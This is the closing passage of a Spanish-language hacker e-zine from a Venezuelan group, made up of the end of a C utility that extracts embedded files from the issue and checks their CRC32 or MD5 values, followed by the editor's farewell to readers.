 *  El programa extrae archivos incluidos (codigos fuente y demas) incluidos
 *  dentro del e-zine. 
 *
 *  Con el modificador [-s] se separaran los articulos del e-zine en archivos
 *  separados numerados.
 *
 *  Compilacion: 
 *  gcc extract.c
 -o extract
 *
 *  ./extract [-s] archivo1 archivo2 archivo3  ...
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
#include <dirent.h>

#define BEGIN_TAG   "[++] "
#define END_TAG     "[--]"
#define BT_SIZE     strlen(BEGIN_TAG)
#define ET_SIZE     strlen(END_TAG)
#define SPLIT_TAG  "-[ 3x"
#define SPLIT_SIZE strlen(SPLIT_TAG)

struct f_name
{
    unsigned char name[256];
    struct f_name *next;
};

#ifdef __alpha
typedef unsigned int uint32;
#else
typedef unsigned long uint32;
#endif

struct MD5Context
{
   uint32 buf[4];
   uint32 bits[2];
   unsigned char in[64];
};

void MD5Init(struct MD5Context *context);
void MD5Update(struct MD5Context *context, unsigned char const *buf,
               unsigned len);
void MD5Final(unsigned char digest[16], struct MD5Context *context);
void MD5Transform(uint32 buf[4], uint32 const in[16]);

typedef struct MD5Context MD5_CTX;

#ifndef HIGHFIRST
#define byteReverse(buf, len)
#else
void byteReverse(unsigned char *buf, unsigned longs);

#ifndef ASM_MD5
void byteReverse(unsigned char *buf, unsigned longs)
{
    uint32 t;
    do {
        t = (uint32) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
            ((unsigned) buf[1] << 8 | buf[0]);
        *(uint32 *) buf = t;
        buf += 4;
    } while (--longs);
}
#endif
#endif

void MD5Init(struct MD5Context *ctx)
{
    ctx->buf[0] = 0x67452301;
    ctx->buf[1] = 0xefcdab89;
    ctx->buf[2] = 0x98badcfe;
    ctx->buf[3] = 0x10325476;

    ctx->bits[0] = 0;
    ctx->bits[1] = 0;
}

void MD5Update(struct MD5Context *ctx, unsigned char const *buf, unsigned len)
{
    uint32 t;

    t = ctx->bits[0];
    if ((ctx->bits[0] = t + ((uint32) len << 3)) < t)
        ctx->bits[1]++;
    ctx->bits[1] += len >> 29;

    t = (t >> 3) & 0x3f;


    if (t) {
        unsigned char *p = (unsigned char *) ctx->in + t;

        t = 64 - t;
        if (len < t) {
            memcpy(p, buf, len);
            return;
        }
        memcpy(p, buf, t);
        byteReverse(ctx->in, 16);
        MD5Transform(ctx->buf, (uint32 *) ctx->in);
        buf += t;
        len -= t;
    }

    while (len >= 64) {
        memcpy(ctx->in, buf, 64);
        byteReverse(ctx->in, 16);
        MD5Transform(ctx->buf, (uint32 *) ctx->in);
        buf += 64;
        len -= 64;
    }

    memcpy(ctx->in, buf, len);
}

void MD5Final(unsigned char digest[16], struct MD5Context *ctx)
{
    unsigned count;
    unsigned char *p;

    count = (ctx->bits[0] >> 3) & 0x3F;

    p = ctx->in + count;
    *p++ = 0x80;

    count = 64 - 1 - count;

    if (count < 8) {

        memset(p, 0, count);
        byteReverse(ctx->in, 16);
        MD5Transform(ctx->buf, (uint32 *) ctx->in);

        memset(ctx->in, 0, 56);
    } else {
        memset(p, 0, count - 8);
    }
    byteReverse(ctx->in, 14);

    ((uint32 *) ctx->in)[14] = ctx->bits[0];
    ((uint32 *) ctx->in)[15] = ctx->bits[1];

    MD5Transform(ctx->buf, (uint32 *) ctx->in);
    byteReverse((unsigned char *) ctx->buf, 4);
    memcpy(digest, ctx->buf, 16);
    memset(ctx, 0, sizeof(ctx));
}

#ifndef ASM_MD5

#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))

#define MD5STEP(f, w, x, y, z, data, s) ( w += f(x, y, z) + data,  w = w<<s | w>>(32-s),  w += x )

void MD5Transform(uint32 buffer[4], uint32 const in[16])
{
    register uint32 a, b, c, d;

    a = buffer[0];
    b = buffer[1];
    c = buffer[2];
    d = buffer[3];

    MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
    MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
    MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
    MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
    MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
    MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
    MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
    MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
    MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
    MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
    MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
    MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
    MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
    MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
    MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
    MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);

    MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
    MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
    MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
    MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
    MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
    MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
    MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
    MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
    MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
    MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
    MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
    MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
    MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
    MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
    MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
    MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);

    MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
    MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
    MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
    MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
    MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
    MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
    MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
    MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
    MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
    MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
    MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
    MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
    MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
    MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
    MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
    MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);

    MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
    MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
    MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
    MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
    MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
    MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
    MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
    MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
    MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
    MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
    MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
    MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
    MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
    MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
    MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
    MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);

    buffer[0] += a;
    buffer[1] += b;
    buffer[2] += c;
    buffer[3] += d;
}

#endif

int hex_digit(int c)
{
        if (c >= '0' && c <= '9')
                return c - '0';
        if (c >= 'a' && c <= 'f')
           return c - 'a' + 10;
        return -1;
}

int mdfile(FILE *archivo, unsigned char *digest)
{
        unsigned char buffer[1024];
        MD5_CTX ctx;
        int n;


        fseek(archivo,0,SEEK_SET);
        MD5Init(&ctx);
        while ((n = fread(buffer, 1, sizeof(buffer), archivo)) > 0)
                MD5Update(&ctx, buffer, n);
        MD5Final(digest, &ctx);
        if (ferror(archivo))
                return -1;
        return 0;
}

unsigned long crcTable[256];

void crcgen()
{
  unsigned long crc, poly;
  int i, j;
  poly = 0xEDB88320L;
  for (i=0; i<256; i++) {
     crc = i;
     for (j=8; j>0; j--) {
       if (crc&1) {
           crc = (crc >> 1) ^ poly;
       }
       else {
           crc >>= 1;
       }
     }
     crcTable[i] = crc;
  }
}

unsigned long check_crc( FILE *fp )
{
   register unsigned long crc;
   int c;

   crc = 0xFFFFFFFF;
   while( (c=getc(fp)) != EOF ) {
         crc = ((crc>>8) & 0x00FFFFFF) ^ crcTable[ (crc^c) & 0xFF ];
   }

   fseek(fp,0,SEEK_SET);

   return( crc^0xFFFFFFFF );

}

void tmp_digest(unsigned char *p, unsigned char *digest_tmp)
{
        int i;

        for (i = 0; i < 16; ++i)
           sprintf(&digest_tmp[i*2],"%02x", *p++);
}

int main(int argc, char **argv)
{
    unsigned char b[256], *bp, *fn, *tmp;
    unsigned char digest_f[32];
    int i, i2=1, j = 0, h_c = 0, k,h_md5,d1=0,d2=0,modo_split=0;
    unsigned long crc=0, crc_f=0;
    unsigned char digest[16], digest_tmp[32];
    FILE *in_p, *out_p = NULL, *separado;
    struct f_name *fn_p = NULL, *head = NULL;

    if (argc < 2)
      {
        printf("Uso: %s [-s] archivo1 archivo2 ... archivo-n\n", argv[0]);
        exit(0);
      }

    if((argv[1][0] == '-')&&(argv[1][1]=='s')&&(strlen(argv[1])<3))
    {
      modo_split=1;
      i2=2;
    }       
        
    for (i = i2; (fn = argv[i++]); )
      {
        if (!head)
	  {
            if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
	      {
                perror("malloc");
                exit(1);
	      }
            strncpy(head->name, fn, sizeof(head->name));
            head->next = NULL;
            fn_p = head;
	  }

        else
	  {
            if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
	      {
                perror("malloc");
                exit(1);
	      }
            fn_p = fn_p->next;
            strncpy(fn_p->name, fn, sizeof(fn_p->name));
            fn_p->next = NULL;
	  }
      }

    if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
      {
        perror("malloc");
        exit(1);
      }
    fn_p = fn_p->next;
    fn_p->next = NULL;

if(modo_split==1)
{
      for(fn_p = head; fn_p -> next;fn_p = fn_p->next)
      {
      	if(!(in_p=fopen(fn_p->name,"r")))
        {
          fprintf(stderr,"No se puede abrir el archivo original especificado: %s\n",fn_p->name);
          continue;
        }
        else
        { 
	  fprintf(stderr, "%s abierto.\n", fn_p->name);
        
        tmp=fn_p->name;

	separado=fopen("2x00.txt","w");
	fprintf(stderr,"Separando 2x00.txt\n");

        while(fgets(b,256,in_p))
        {
          if(!strncmp(b,SPLIT_TAG,SPLIT_SIZE))
          {
            b[strlen(b) -1 ]=0;

            if((bp=strchr(b + SPLIT_SIZE + 1,' ')))
            { 
              *bp=0;
	      if((separado=fopen(strncat(b + SPLIT_SIZE-2,".txt",4),"w"))==NULL)
              {
              	printf("No se puede crear %s\n",b);
                continue;
		}
              fprintf(stderr,"Separando %s\n",b +SPLIT_SIZE-2);
            }
	    *bp='.';
            fprintf(separado,"%s",b);
            fprintf(separado," ]----------------------------------------------------------------\n");
          }
          else
              fprintf(separado,"%s",b);
	}
      }
    }
}
else
{
    for (fn_p = head; fn_p->next; fn_p = fn_p->next)
    {
        if (!(in_p = fopen(fn_p->name, "r")))
        {
            fprintf(stderr, "No se puede abrir el archivo original %s.\n", fn_p->name);
            continue;
        }
        else fprintf(stderr, "%s abierto\n", fn_p->name);

        crcgen();

        while (fgets(b, 256, in_p))
        {
             if (!strncmp (b, BEGIN_TAG, BT_SIZE))
             {
                b[strlen(b) - 1] = 0;
                j++;

                /* crc=0;
                   crc_f=0;    X-DDD */

                if ((bp = strchr(b + BT_SIZE + 1, '/')))
                {
                    while (bp)
                    {
                        *bp = 0;
                        mkdir(b + BT_SIZE, 0700);
                        *bp = '/';
                        bp = strchr(bp + 1, '/');
                    }
                }


                if((bp=strchr(b,'!')))
                {
                   crc_f=strtoul((b + (strlen(b)-strlen(bp)) + 1),NULL,16);
                   b[strlen(b) - strlen(bp) - 1 ]=0;
                   h_c=1;
                   h_md5=0;
                }
                else
                {
                   h_c=0;
                   if((bp=strchr(b,'$')))
                   {
                        d2=0;
                        if(strlen(bp) < 33)
                           d2=1;
                        memcpy(&digest_f,bp+1,32);
			digest_f[32]='\0';
                        b[strlen(b) - strlen(bp) - 1] =0;
                        h_md5=1;
                   }
                   else
                   {
                      h_c=0;
                      h_md5=0;
                   }
                }

                if ((out_p = fopen(b + BT_SIZE, "wb+")))
                   printf("- Extrayendo %s\n ", b + BT_SIZE);
                else
                {
                    printf("No se puede extraer '%s'.\n", b + BT_SIZE);
                    continue;
                }

             }

             else if (!strncmp (b, END_TAG, ET_SIZE))
             {
                if (out_p)
                {
                    if(h_c==1)
                    {
                        fseek(out_p,0l,0);
                        crc=check_crc(out_p);

                        if(crc==crc_f)
                           printf("            crc32 = %08lx  ... comprobado\n ",crc);
                        else
                           printf("            crc32 -> %08lx - %08lx  no coincide!\n ",crc,crc_f);

                    }
                    if(h_md5==1)
                    {
                        mdfile(out_p,digest);
                        tmp_digest(digest,digest_tmp);

                        for(k=0;k<32;k++)
                        {
                           if(digest_f[k] != digest_tmp[k])
                              d1=1;
                        }
                        if(d1==0)
                           printf(" md5 : %s -- ok!\n",digest_f);
                        else
                        {
                           if(d2==0)
                                printf("  md5! %s  <-- md5 suministrado.\n",digest_f);
                           else
                                printf(" md5!  Codigo MD5 suministrado incompleto.\n");
                           printf("        %s  <-- md5 correcto.\n",digest_tmp);
			}   
                        d1=0;
                    }
                    /* nos vamos */
                    fclose(out_p);

                }
                else
                {
                    fprintf(stderr, "Error al cerrar el archivo %s.\n", fn_p->name);
                    continue;
                }
            }
            else if (out_p)
            {
                fputs(b, out_p);
            }
        }
    }
    if (!j) printf("No se han encontrado etiquetas de extraccion.\n");
    else printf("Extraidos %d archivo(s).\n", j);
    return (0);
}
}
[--]

--EOF--

-[ 3x19.txt ]----------------------------------------------------------------
-[ Esto es todo Amigos ... ]-----------------------------------[ El Editor ]-
-------------------------------------------------------[ kl0nk@uole.com.ve ]-


  Bueno Amigos,  esta  edicion  tres  (3)  ha  culminado, esperamos que nos 
  volvamos  a  ver  dentro   dentro  de  poco.  Si tienen alguna sugerencia, 
  colaboraciones, pueden enviarla a otv@datafull.com

  Sin mas nada que decir ......


                                              Nos Vemos en la Proxima entrega




    ...................................................................
   .:. Derechos Reservados (c) By  0ri0n  Team Venezuela - 2000-2001 .:.
   .:..:..:..:..:..:..:..:..:..:..:.:...:..:..:..:..:..:..:..:..:..:..:.


